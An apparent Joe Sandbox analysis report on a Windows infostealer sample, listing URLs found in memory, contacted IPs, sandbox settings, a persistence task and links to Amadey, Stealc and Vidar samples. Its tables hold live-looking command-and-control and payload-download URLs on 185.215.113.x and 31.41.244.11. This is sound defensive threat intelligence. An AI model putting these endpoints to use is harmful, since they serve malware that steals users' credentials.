https://c.msn.com/c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=21C0AAED8B504C3984197EE0ABFA204B&MUID=31AC35F41F35674A28F120B11E576675	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpHCFC.exe-data;	file.exe, 00000000.00000002.1977949025.0000000000707000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	false		high
http://www.broofa.com	chromecache_470.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
http://185.215.113.206%	file.exe, 00000000.00000002.1979495754.000000000131E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllJ	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.instagram.com	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.messenger.com	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.deezer.com/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://web.telegram.org/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	false		high
https://assets.msn.com	cee6e620-58c8-4aba-aaa1-06411dcf197a.tmp.10.dr, c929a91f-fbe5-45e3-b7e8-74f6a6470408.tmp.10.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, HCFCAAEB.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://excel.new?from=EdgeM365Shoreline	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CBGCBKFBGIIIECAAAKFCAEBAAA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllt	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_470.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.php:	file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 0000001C.00000002.2700081887.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001A77000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllT	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/c4becf79229cb002.phpV	file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://m.kugou.com/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://www.office.com	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpio	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/unique1/random.exeed	skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpj	file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754627045.000000002353B000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFC.0.dr, HCFCAAEB.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll0	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	IEHDBAAFIDGDAAAAAAAA.0.dr	false		high
https://tidal.com/	e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr	false		high
http://185.215.113.16/mine/random.exeW	file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.9.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.33.40.135	unknown	United States	20940	AKAMAI-ASN1EU	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.44.201.17	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.33.40.143	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.55.235.241	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
65.52.241.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.40	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.216.132.33	unknown	United States	7016	CCCH-3US	false
51.104.15.252	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.65.193	unknown	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
23.44.129.36	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564362
Start date and time:	2024-11-28 08:54:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/242@26/28
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 172.217.21.35, 199.232.214.172, 172.217.17.74, 172.217.21.42, 216.58.208.234, 172.217.19.10, 172.217.19.202, 172.217.17.42, 172.217.19.234, 142.250.181.74, 142.250.181.138, 172.217.19.170, 192.229.221.95, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 172.217.17.46, 13.107.6.158, 172.165.69.228, 2.19.198.56, 23.32.238.138, 23.206.197.18, 23.206.197.32, 23.206.197.35, 23.206.197.34, 23.206.197.33, 23.206.197.16, 23.206.197.10, 23.206.197.25, 23.206.197.17, 2.18.64.218, 2.18.64.203, 23.206.197.8, 23.206.197.51, 23.206.197.57, 104.126.37.224, 104.126.36.35, 104.126.36.18, 104.126.37.195, 104.126.37.193, 104.126.37.203, 104.126.37.226, 104.126.36.33, 104.126.37.216, 23.206.197.11, 13.74.129.1, 204.79.197.237, 13.107.21.237, 131.253.33.203, 172.165.61.93, 23.32.238.106, 23.32.238.96, 142.250.80.35, 142.250.80.67, 142.251.40.131
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.tr
Execution Graph export aborted for target DocumentsHCGCBFHCFC.exe, PID 8780 because it is empty
Execution Graph export aborted for target skotes.exe, PID 9204 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:55:45	API Interceptor	140x Sleep call for process: file.exe modified
02:57:01	API Interceptor	155x Sleep call for process: skotes.exe modified
08:56:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.64.41.3
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	18.165.220.66
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	18.165.220.57
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.8
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.161.69.30
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.117
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	nabx86.elf	Get hash	malicious	Unknown	Browse	104.80.225.102
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	23.209.72.28
	bin.sh.elf	Get hash	malicious	Mirai	Browse	23.7.221.74
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.44.201.7
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	nabmpsl.elf	Get hash	malicious	Unknown	Browse	20.200.84.22
	nabx86.elf	Get hash	malicious	Unknown	Browse	20.26.232.102
	Banco Santander Totta - NOTIFICA#U00c7#U00c3O DE TRANSFER#U00caNCIA ELECTR#U00d3NICA.eml	Get hash	malicious	CredentialStealer	Browse	52.113.195.132
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	52.187.159.166
	botx.x86.elf	Get hash	malicious	Mirai	Browse	20.203.161.130
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	bin.sh.elf	Get hash	malicious	Mirai	Browse	22.206.3.175
	https://click.fastfilecourier.com/e/1087572/fqaOLKXX-Recipient-Email/dj2mqv/1470013843/h/udGXCM7hmNI9tBDgi0e8xxxDqma2HiU6KUfEpytzwlc	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://hcm55.sapsf.eu/sf/liveprofile?company=jernimomarP2&blockId=block2109&_s.crb=USKEprAmKRumsjVSyLJPCEVj9GAzHD70l0UaoJsp%252f50%253d	Get hash	malicious	Unknown	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	http://www.fabribat.com/.js/	Get hash	malicious	Unknown	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	https://pixmar.co.za/.well-known/.js/	Get hash	malicious	Unknown	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	https://www.campus-teranga.com/public/redirect?url=https://lhbroker.com/bm/#XYWxleGFuZGVyLmtlZHppb3JAYXNodXJzdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	13.107.246.63 20.190.181.4 23.32.185.164 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
